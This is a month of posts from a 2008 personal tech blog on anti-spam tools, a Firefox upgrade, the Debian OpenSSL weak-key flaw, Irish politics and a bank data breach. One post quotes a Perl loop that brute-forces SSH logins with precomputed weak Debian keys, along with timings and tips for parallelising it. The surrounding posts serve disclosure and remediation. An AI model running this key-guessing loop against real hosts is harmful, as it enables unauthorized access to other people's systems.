Skip to content

Month: May 2008

links for 2008-05-30

Published May 30, 2008

TypePad AntiSpam

Published May 30, 2008

TypePad AntiSpam looks pretty cool. I’ve been trying it out for the past week on taint.org and underseacommunity.com, with no false positives or false negatives so far (although mind you I don’t get much spam, anyway, on those blogs, fortunately). Both are WordPress blogs — I set up Akismet, got a TypePad API key, and edited 3 lines in “wp-content/plugins/akismet/akismet.php”, and I was off.

However, here’s the key bit, the bit I’m most excited about — /svn/antispam/trunk/, particularly the GPL v2 LICENSE file — a fully open source backend!

The backend is a perl app built on Gearman and memcached. It uses DSpam instead of SpamAssassin, but hey, you can’t have everything ;) Nice, clean-looking perl code, too. Here’s hoping I get some tuits RSN to get this installed locally…

Daily links are back again

Published May 30, 2008

I’ve been talking to a few people recently who read taint.org (thanks!), but don’t follow the linkblog. This means they miss half of the good bits I post :( Also, there’s no way to comment on linkblog stuff, which is suboptimal.

To remedy this, I’m turning on daily links posting again, where I’ll post the day’s links, once a day, to the main blog.

If you’re not interested, feel free to subscribe to this ‘no-links’ feed URL instead of the default — it’s the main blog content, but with the links posts filtered out.

Upgrading to Firefox 3

Published May 29, 2008

Firefox 3 Release Candidate 1 was released earlier this month. I’ve upgraded.

I tried switching to it a couple of months back, but gave up, since my favourite extensions were AWOL. This time around though, they’re almost all present. Since Firefox is now basically an operating system in its own right, with upgrade pain all of its own, and a couple of people have asked, here’s what I needed to do to get from Firefox 2 to 3:

Make a list of my favoured extensions

Namely, from most important to least:

Create a new Mozilla profile

This allowed me to keep my Firefox 2.0 settings entirely intact, a key step. Install Firefox 3, and start it with “firefox -ProfileManager”, then create a new profile and start with that.

Get installing

The following extensions from the above list were available by now for Firefox 3, through addons.mozilla.org:

Firebug was slightly trickier, since you need the 1.1 beta version, directly from their site 1.2 beta version, specially designed for Firefox 3 support, available only from their ‘releases’ page.

However, Greasemonkey, SubmitToTab, and MozEx were still missing. :(

Greasemonkey, thankfully, wasn’t too hard to find — the latest nightly build from this directory does the trick.

MozEx seems dead — the Firefox 2 support was added in a development snapshot, and there’s no sign of Firefox 3 support. This was in danger of becoming a show-stopper, since I spend all day editing text in browser textareas in Trac, Bugzilla, and Wordpress — until I found It’s All Text!, which is even slightly prettier and simpler than MozEx. yay. The only thing to watch out for is that after setting the path to the editor command, I had to quit and restart the browser for it to recognise it as valid.

SubmitToTab is the only desirable plugin remaining. It looks like it won’t be making it any time soon, but I’m prepared to live without it. ;)

Also, while discussing this on Twitter, Vipul wondered if XPather was available — turns out that yes, v1.4 of XPather supports FF3. Looks cool too; I’ve installed it ;)

Copy bookmarks

Exit the browser, copy the “bookmarks.html” file from the old profile directory (~/.mozilla/firefox/jocfzbfo.jm in my case) to the new one (~/.mozilla/firefox/7bkf89ws.ff3), and restart it.

I didn’t bother copying cookies — I’m happy to log in again on all those sites. (I don’t like carrying too much baggage between upgrades…)

I also opened the Greasemonkey user scripts dir (~/.mozilla/firefox/jocfzbfo.jm/gm_scripts), clicked on each script there, and installed them that way to FF3. A little laborious, but nothing serious really.

Done!

End result: I’m using FF3, and it’s working quite nicely. Memory usage is consistently below 300MB, so far — I haven’t seen any bloating yet, which is a big improvement. I’m probably going to stick with it.

One thing: I did have to turn off the new image scaling effect, however — text font size modification also now scales images to match, which is very annoying (and jaggy). No Squint allows this quite neatly.

More details on the “GMail forwarding hole”

Published May 28, 2008

Those INSERT guys who’ve been talking about a GMail security hole allowing spammers to relay spam, have released more previous-redacted details here. (thanks to the MailChannels blog for pointing that out.)

In essence, the attack works by allowing a spammer to set the “forward to” address in GMail to point at a target address, send a spam to the GMail account, then change the “forward to” address to the next target and repeat.

My response:

  1. it’d be trivial for Google to impose stringent rate limits on “forward to” address changes, and I’d be surprised if they haven’t already.

  2. ditto rate-limiting on the rate of forwarding messages for each GMail account.

  3. as they say in the paper — if Google required up-front confirmation of the target address before forwarding any mail, that would also cut this out neatly.

  4. It’s worth noting that GMail’s outbound servers may be whitelisted by some recipient sites, others are treating them negatively — word on the anti-spam “street” is that GMail is becoming a festering pit of 419 scammers these days.

Ammado spam

Published May 26, 2008

Quoting an old job post: ‘ammado.com are a new online global community with headquarters in Dublin, Ireland. ammado are developing a fun interactive online entertainment platform catering for a huge global market, using the latest technologies.’

Well, using that and spam, it seems. Look what just arrived in my inbox:

  • X-Spam-Status: No, score=-8.0 required=5.0 tests=BAYES_50, EXTRA_MPART_TYPE, HABEAS_ACCREDITED_COI, HTML_MESSAGE, RP_MATCHES_RCVD,SPF_PASS shortcircuit=no autolearn=unavailable version=3.3.0-r650054
  • X-Spam-Relays-External: [ ip=89.101.128.81 rdns=mail.ammado.com helo=mail.ammado.com by=soman.fdntech.com ident= envfrom= intl=0 id=4856CBA51B8 auth= msa=0 ] [ ip=192.168.11.20 rdns= helo=amsrvmail001.ammado.local by=amsrvmail001.ammado.local ident= envfrom= intl=0 id= auth= msa=0 ]
  • From: Peter Conlon <pconlon/at/ammado.com>
  • Date: Mon, 26 May 2008 10:45:11 +0100
  • Subject: UNHCR asks the blogosphere for help

UNHCR and ammado, http://www.ammado.com are reaching out to the blogosphere in an effort to spread the word for this year’s World Refugee Day on June 20th and raise awareness of the situation of refugees all over the world!

This year, World Refugee Day is about protection, the heart and soul of UNHCR. With rising oil prices, decreasing food supplies, the adverse affects of climate change, the ongoing crisis in Darfur and a high number of unexpected natural disasters including those in Myanmar and China, the world’s refugees have never been more in need of protection.

Another day, another spam. They also spammed Donncha, Michele and Damien, so it sounds like they’re doing the rounds of the Irish blogosphere.

(Update: add Tom, Suzy, Alexia, squid at Limerick Blogger, and Grandad at Head Rambles to that list, too.)

However — the hit on the HABEAS_ACCREDITED_COI SpamAssassin rule means that Ammado are a member of the Habeas Accredited Confirmed-Opt-In program, meaning that they have undertaken a bond to only email people who signed up to receive their communications using “confirmed opt-in”. I have never had any dealings with Ammado, or opted in in any way to receive communication from them — let alone confirmed an opt-in. This is out-and-out unsolicited bulk email, or spam, so this may turn out to be an expensive mistake for Ammado.

If you also got spammed by a Habeas-accredited sender, send a complaint to complaints /at/ habeas.com. This is how the Habeas system works…

PS: This is a good illustration of how spam is not Unsolicited Commercial Email, but UBE — Unsolicited Bulk Email. Even though this is non-commercial, it’s still spam!

MailChannels’ Traffic Control now free-as-in-beer

Published May 19, 2008

I’m on the technical advisory board for MailChannels, a company who make a commercial traffic-shaping antispam product, Traffic Control. Basically, you put it in front of your real MTA, and it applies “the easy stuff” — greet-pause, early-talker disconnection, lookup against front-line DNSBLs, etc. — in a massively scalable, event-driven fashion, handling thousands of SMTP connections in a single process. By taking care of 80% of the bad stuff upfront, it takes a massive load off of your backend — and, key point, off your SpamAssassin setup. ;)

Until recently, the product was for-pay and (relatively) hard to get your hands on, but as of today, they’re making it available as a download at http://mailchannels.com/download/. Apparently: “it’s free for low-volume use, but high volume users will need a license key.”

Anyway, take a look, if you’re interested. I think it’s pretty cool. (And I’m not just saying that because I’m on their tech advisory board. ;)

LWN.net on the Debian OpenSSL fiasco

Published May 19, 2008

Great article from LWN.net regarding the Debian OpenSSL vulnerability:

It is in the best interests of everyone, distributions, projects, and users, for changes made downstream to make their way back upstream. In order for that to work, there must be a commitment by downstream entities — typically distributions, but sometimes users — to push their changes upstream. By the same token, projects must actively encourage that kind of activity by helping patch proposals and proposers along. First and foremost, of course, it must be absolutely clear where such communications should take place.

Another recently reported security vulnerability also came about because of a lack of cooperation between the project and distributions. It is vital, especially for core system security packages like OpenSSH and OpenSSL, that upstream and downstream work very closely together. Any changes made in these packages need to be scrutinized carefully by the project team before being released as part of a distribution’s package. It is one thing to let some kind of ill-advised patch be made to a game or even an office application package that many use; SSH and SSL form the basis for many of the tools used to protect systems from attackers, so they need to be held to a higher standard.

+1.

The viability of remote SSH key cracking

Published May 16, 2008

Here’s some pretty scary figures from Craig Hughes on the viability of an SSH worm:

when doing this, connecting to localhost:

find rsa -type f ! -name '*.pub' | head -1000 | time perl -e 'my $counter=0; my $keys=""; while(<>) { chomp; $keys = "$keys $_"; next unless (++$counter)%7 == 0; system("ssh-add$keys 2>/dev/null"); system ('"'"'ssh -q -n -T -C -x -a testuser@localhost'"'"'); system("ssh-add -D"); $keys = ""; }'

4.63user 3.06system 0:19.54elapsed

ie about 50 per second

when connecting remotely over the internet (ping RTT is ~60ms):

find rsa -type f ! -name '*.pub' | head -1000 | time perl -e 'my $counter=0; my $keys=""; while(<>) { chomp; $keys = "$keys $_"; next unless (++$counter)%7 == 0; system("ssh-add$keys 2>/dev/null"); system ('"'"'ssh -q -n -T -C -x -a [email protected]'"'"'); system("ssh-add -D"); $keys = ""; }'

1.10user 0.60system 0:35.15elapsed

ie about 6 per second over the internet.

Logging of the failures on the server side looks like this:

May 15 10:53:31 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50445;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:32 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50446;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:33 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50447;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:34 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50448;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:35 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50451;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:36 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50452;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:37 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50453;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:39 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50455;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:40 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50456;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:41 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50457;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:42 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50458;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:43 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50459;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1

ie it shows the connection attempt, but NOT the failure. It shows one connection attempt per 7 keys attempted.

So given that:

  1. RSA is the default if you don’t specify for ssh-keygen
  2. 99.99% of people use x86
  3. PID is sequential, and there’s almost certainly an uneven distribution in PIDs used by the keys out there in the wild

then:

Probably there’s about 10k RSA keys which are in some very large fraction of the (debian-generated) authorized_keys files out there. These can be attempted in about 1/2 an hour, remotely over the internet. You can hit the full 32k range of RSA keys in an hour and a half. Note that the time(1) output shows how little load this puts on the client machine — you could easily run against lots of target hosts in parallel; most of the time is spent waiting for TCP roundtrip latencies. Actually, given that, you could probably accelerate the attack substantially by parallelizing the attempts to an individual host so you have lots of packets in flight at any given time. You could probably easily get up towards the 50/s local number doing this, which brings time down to about 3-4 minutes for 10k keys, or 11 minutes for the full 32k keys.

Free SSL cert reissuance for Debian victims — unless you’re on RapidSSL

Published May 16, 2008

If you’ve been following the Debian OpenSSL pRNG security debacle, you may have noticed that there’s a painful problem for people who’ve used a Debian or Ubuntu system in the process of buying a commercial SSL key — they are in a situation where those commercially-purchased keys need to be regenerated.

(When an SSL key is obtained from a commercial Certificate Authority, you first have to generate a Certificate Signing Request on your own machine, then send that to the CA, who extracts its contents and applies a signature to produce a valid CA-issued certificate.)

Things are looking up for these victims, though — some smart cookie at Debian came up with these instructions:

SSL Certificate Reissuance

If you paid good money to have a vulnerable key signed by a Certificate Authority (CA), chances are your CA can re-issue a certificate for free, provided all information in the CSR is identical to the original CSR. Create a new key with a non-vulnerable OpenSSL installation, re-create the CSR with the same information as your original (vulnerable) key’s CSR, and submit it to your CA according to their reissuance policy:

  • GeoTrust: Here (Available throughout the lifetime of the certificate. Tucows/OpenSRS in this case, but the instructions are generic to any GeoTrust client.)
  • Thawte: Here (Available throughout the lifetime of the certificate.)
  • VeriSign: Unknown
  • GoDaddy: Here (Only possible within 30 days of the initial order. GoDaddy calls the process “re-keying”, while they call the act of sending you the same signed certificate as your original order a “reissuance”.)
  • ipsCA: Generate a new CSR as if you are purchasing a new certificate, follow through the procedure up until you get to the point where you are required to pay with your credit card. At that point contact support via their email and let them know that you are requesting a revocation and re-issue and include the ticket number of your new CSR request.
  • CAcert: This is a cost free certification authority. Simply revoke your old certificates and add new ones. (The key has to be created on a fixed machine and ONLY the certification request has to be uploaded!) At the moment the certificate generation will take some time as it seems that many users are re issue there certificate.
  • Digicert: Login to Your account to re-issue (free).

This is slightly incorrect, however (unfortunately for me). While GeoTrust claim to offer free reissuance of all its SSL certificates, they don’t really. Their low-cost RapidSSL certs require that you buy ‘reissue insurance’ for $20 to avail of this, if you need to reissue more than 7 days after the initial purchase. :( Wiki updated.

Update: RapidSSL certs are, indeed, now free to reissue! Use this URL and click through on the “buy” link for reissuance insurance — the price quoted will be $0. Wiki re-updated ;). (thanks to ServerTastic for the tip.)

Serious Debian/Ubuntu openssl/openssh bug found

Published May 13, 2008

via Reddit, this Debian Security announcement:

‘Luciano Bello discovered that the random number generator in Debian’s openssl package is predictable. This is caused by an incorrect Debian-specific change to the openssl package (CVE-2008-0166). As a result, cryptographic key material may be guessable.

It is strongly recommended that all cryptographic key material which has been generated by OpenSSL versions starting with 0.9.8c-1 on Debian systems (ie since 2006! –jm) is recreated from scratch. Furthermore, all DSA keys ever used on affected Debian systems for signing or authentication purposes should be considered compromised; the Digital Signature Algorithm relies on a secret random value used during signature generation.’

and, of course, here’s the Ubuntu Security Notice for the hole:

Who is affected

Systems which are running any of the following releases:

  • Ubuntu 7.04 (Feisty)
  • Ubuntu 7.10 (Gutsy)
  • Ubuntu 8.04 LTS (Hardy)
  • Ubuntu “Intrepid Ibex” (development): libssl <= 0.9.8g-8
  • Debian 4.0 (etch) (see corresponding Debian security advisory)

and have openssh-server installed or have been used to create an OpenSSH key or X.509 (SSL) certificate. All OpenSSH and X.509 keys generated on such systems must be considered untrustworthy, regardless of the system on which they are used, even after the update has been applied. This includes the automatically generated host keys used by OpenSSH, which are the basis for its server spoofing and man-in-the-middle protection.

It was apparently caused by this incorrect “fix” applied by the Debian maintainers to their package. One wonders why that fix never made it upstream.

Bad news….

Update: Ben Laurie tears into Debian for this:

What can we learn from this? Firstly, vendors should not be fixing problems (or, really, anything) in open source packages by patching them locally – they should contribute their patches upstream to the package maintainers. Had Debian done this in this case, we (the OpenSSL Team) would have fallen about laughing, and once we had got our breath back, told them what a terrible idea this was. But no, it seems that every vendor wants to “add value” by getting in between the user of the software and its author.

+1!

For what it’s worth, we in Apache SpamAssassin work closely with our Debian packaging team, tracking the debbugs traffic for the spamassassin package, and one of the Debian packagers is even on the SpamAssassin PMC. So that’s one way to reduce the risk of upstream-vs-package fork bugs like this, since we’d have spotted that change going in, and nixed it before it caused this failure.

Here’s a question: should the OpenSSL dev team have monitored the bug traffic for Debian and the other packagers? Do upstream developers have a duty to monitor downstream changes too?

This comment puts it a little strongly, but is generally on the money in this regard:

the important part for OpenSSL is to find a way to escape the blame for their fuck-up. They failed to publish the correct contact address for such important questions regarding OpenSSL. Branden (another commenter –jm) noted that the mail address mentioned by Ben is not documented anywhere. It is OpenSSL’s responsibility that they allowed the misuse of openssl-dev for offtopic questions and then silently moving the dev stuff to a secret other list nobody outside OpenSSL knew about.

I’m sure Debian is willing to take their fair share of the blame if OpenSSL finally admits that their mistake played a major role here as well. After all the Debian maintainer might have misrepresented the nature of his plans, but he gave warning signs and said he was unsure. But as it appears now all the people who might have noticed secretly left openssl-dev, the documented place for that kind of questions. This is hardly the fault of the maintainer.

Update 2: this Reddit comment explains the hole in good detail:

Valgrind was warning about unitialized data in the buffer passed into ssleay_rand_bytes, which was causing all kinds of problems using Valgrind. Now, instead of just fixing that one use, for some reason, the Debian maintainers decided to also comment out the entropy mixed in from the buffer passed into ssleay_rand_add. This is the very data that is supposed to be used to see the random number generator; this is the actual data that is being used to provide real randomness as a seed for the pseudo-random number generator. This means that pretty much all data generated by the random number generator from that point forward is trivially predictable. I have no idea why this line was commented out; perhaps someone, somewhere, was calling it with uninitialized data, though all of the uses I’ve found were with initialized data taken from an appropriate entropy pool.

So, any data generated by the pseudo-random number generator since this patch should be considered suspect. This includes any private keys generated using OpenSSH on affected Debian systems. It also includes the symmetric keys that are actually used for the bulk of the encryption.

A pretty major fuck-up, all told.

Update 3: Here’s a how-to page on wiki.debian.org put together by the folks from the #debian IRC channel. It has how-to information on testing your keys for vulnerability using a script called ‘dowkd.pl’, details of exactly what packages and keys are vulnerable, and instructions on how to regenerate keys in each of the (many) affected apps.

It notes this about Apache2 SSL keys:

According to folks in #debian-security, if you have generated an SSL key (normally the step just prior to generating the CSR, and then sending it off to your SSL certificate provider), then the certificate should be considered vulnerable.

So, bad news — SSL keys will need to be regenerated. Add ‘costly’ to the list of downsides. (Yet another update: this hasn’t turned out quite that badly after all — many CAs are now offering free reissuance of affected certs.)

Looking at ‘dowkd.pl’, it gets even worse for ssh users. It appears the OpenSSH packages on affected Debian systems could only generate 1 of only 262148 distinct keypairs. Obviously, this is trivial to brute-force. With a little precomputation (which would only take 14 hours on a single desktop!), an attacker can generate all of those keypairs, and write a pretty competent SSH worm. :(

Update: voila, precomputed keypairs, and figures on the viability of remote brute-forcing the keyspace in 11 minutes.

Full-text RSS bookmarklet

Published May 12, 2008

This site offers a nifty utility for dealing with those annoying sites which offer only partial text content in their RSS and Atom feeds.

Given an RSS or Atom feed’s URL, the CGI will iterate through the posts in the feed, scrape the full text of each post from its HTML page, and re-generate a new RSS feed containing the full text.

The one thing it’s missing is a one-click bookmarklet version. So here it is:

Full-text RSS Bookmarklet

Drag that to your bookmarks menu, and next time you’re looking at a partial-text feed, click the bookmark to transform the viewed page into the full-text version. Enjoy!

Guinness in Ireland dodges a bullet

Published May 10, 2008

Phew! The rumours were untrue. Diageo will not be closing down the Guinness brewery in Dublin 8, and will continue brewing the black stuff in Dublin 8, thankfully:

Diageo is to close its breweries at Kilkenny and Dundalk, significantly reduce its brewing capacity at St James’s Gate and build a new brewery on the outskirts of Dublin under a plan announced today.

The company said it would invest EUR 650 million (£520 million) between 2009 and 2013 in the restructuring.

The renovation of the St James’s Gate brewing operations is expected to cost around EUR 70 million and will see the volume of Guinness brewed there fall from around one billion pints a year, to just over 500 million.

This plant will serve the Irish and British markets and will be based on the Thomas St side of the site. The company said this would ensure that every pint of Guinness sold in Ireland would be brewed here. Approximately half of the 55 acre site will then be sold once the five-year project is complete.

Around 65 staff will remain in brewing operations at St James’s Gate with about 100 others due to transfer to the new Dublin plant. Although the company has yet to announce the exact location of its new brewery, the company says it will have a capacity of around nine million hectolitres, or around three times that of the refurbished St James’s Gate site. This new brewery will produce Guinness for export and ales and lagers for the Irish market.

Diageo said when the two Dublin breweries are fully operational in five years time it will transfer brewing out of the Kilkenny and Dundalk breweries and close these plants. This move will result in ‘a net reduction in staff of around 250’, the company said.

The company employs 800 people in its brewing operation and a total of 2,500 in the Republic and Northern Ireland.

Diageo said these two plants “do not have the scale necessary for sustained success in increasingly competitive market conditions”.

The company said it would offer those employees relocation opportunities where possible. Those for whom relocation is not possible will be offered “a severance package alongside career counselling”.

Operations at its Waterford brewery will be “streamlined” as part of the re-organisation leading to “some reduction in output”. the current workforce of 27 in Waterford would be reduced to ‘around 18’ but Diageo was unable to confirm the extent of the output reduction.

The company says the St James’s Gate site it proposes to sell and the Kilkenny and Dundalk sites have an estimated value of EUR 510 million.

The Guinness Storehouse, which receives around 900,000 visitors a year, will continue to be based at St. James’s Gate.

The company estimates it will incur one-off costs of EUR 152 million during the restructuring and says this would be treated as an exceptional cost in the fiscal year ending in June 2008.

Paul Walsh, chief executive of Diageo said: ‘Over the last twelve months we have conducted a rigorous review of our brewing operations in Ireland. It examined many options and I believe it has identified the right formula for the long-term success of our business in Ireland and for the continued global success of the Guinness brand.’

“Our ambition is to combine the most modern brewing standards with almost 300 years of brewing tradition, craft and heritage.”

Guinness has been brewed at St James’s Gate for almost 250 years. Guinness extract produced at the Dublin site is exported to more than 45 countries.

the Lisbon Treaty and Libertas’ astroturf

Published May 8, 2008

So, Irish voters will soon be voting in a state-wide referendum on the upcoming Treaty of Lisbon — the latest set of amendments to how the European Union is run.

Since ratification will require changes to the Irish constitution, we get to vote on these intricacies where most EU inhabitants do not. Unfortunately this means it’s not particularly “sexy” — it’s a pretty obtuse and boring set of issues, and deciding which way to vote is not easy, with such snore-worthy stuff at stake.

One of the organisations campaigning for a “no” vote in the referendum is called Libertas. Aileen forwarded on a very interesting article by Chekov Feeney on Indymedia Ireland about them, which is well worth a read if you’re interested in Irish politics and the international reach of US lobbying. Here’s some snippets:

Declan Ganley, president of Libertas, happens to be president of Rivada Networks, a US defence contractor (they supply emergency communications networks to the US intelligence community).

[…]

On Sunday April 20th, Libertas announced that Ulick McEvaddy was “joining the No To Lisbon Campaign” and publicised the event with a photo-opportunity of the two ‘entrepreneurs’ in front of the Libertas Campaign bus. McEvaddy is the first member of the Irish business and political elite to join the Libertas campaign since it emerged under the stewardship of Declan Ganley.

What’s particularly interesting about this is that McEvaddy is the CEO of Omega Air, a US defence contractor (they supply cargo planes and inflight refuelling services to the US military). […] According to the [ US Air Force’s Integrator Magazine ], “industry insiders say [McEvaddy’s] company has even approached U.S. intelligence agencies about tanking services for detainee transfers, to reduce dependence on foreign air fields.” In other words, offering to provide inflight refuelling services to rendition flights so that they wouldn’t have to stop over at foreign airports such as Shannon on their way to “interrogate” suspects. A very accommodating offer indeed.

McEvaddy was also the figure who got himself appointed to the board of Knock airport with a view to opening it up to US military flights.

Nice guys, then.

The article goes on, and on, and on, detailing some shady transactions involving these guys and their US military/intelligence connections, the “astroturf” nature of the Libertas organisation, and the odd behaviour of the Libertas campaign in general.

It comes to this conclusion:

This article has examined the reality behing the Libertas campaign, the connections of its two high-profile backers, the implausibility of its message, the peculiar nature of its campaign and some of the underlying strategic differences at play. The conclusion is that the evidence suggests that Libertas is most likely to serve primarily as a vehicle for advancing US strategic interests.

Check it out — it’s a must-read.

BoI data breach: a sample customer notification

Published May 2, 2008

More on the Bank of Ireland 30,000-customer data breach (which is up to 31,500 people by now — BoI promised to contact the “affected” customers by post, warning them that their data had been leaked. If you were wondering what those letters might look like, wonder no more. Here’s one, via a friend who found himself in this unenviable position:

So it’s not just name, date of birth, and address — he notes that they’ve leaked ‘information on the current account I use to pay for the policy.’

Interestingly, he says that his life assurance policy was set up directly with their life assurance department, not via the local branch — which directly contradicts what BoI say on their website:

The laptops contained information relating to some customers who either obtained a quote or took out a Life Assurance policy with Bank of Ireland Life from the following branches: [… list of branches omitted…]

The update from 28 April doesn’t clarify this, either. Hmm.

Google Webmaster Tools now includes ‘goog-love.pl’

Published May 1, 2008

Back in 2006, I wrote a script I called “goog-love.pl”; it used Google’s now-dead SOAP search API (thanks, Nelson!) to figure out which Google queries your web site was “winning” on. Unfortunately, Google shut down new signups for the SOAP interface later that year.

I was just looking through Google’s Webmaster Tools page for taint.org, when I came across the Statistics / Top search queries page:

img

This is exactly what goog-love.pl produced. hooray!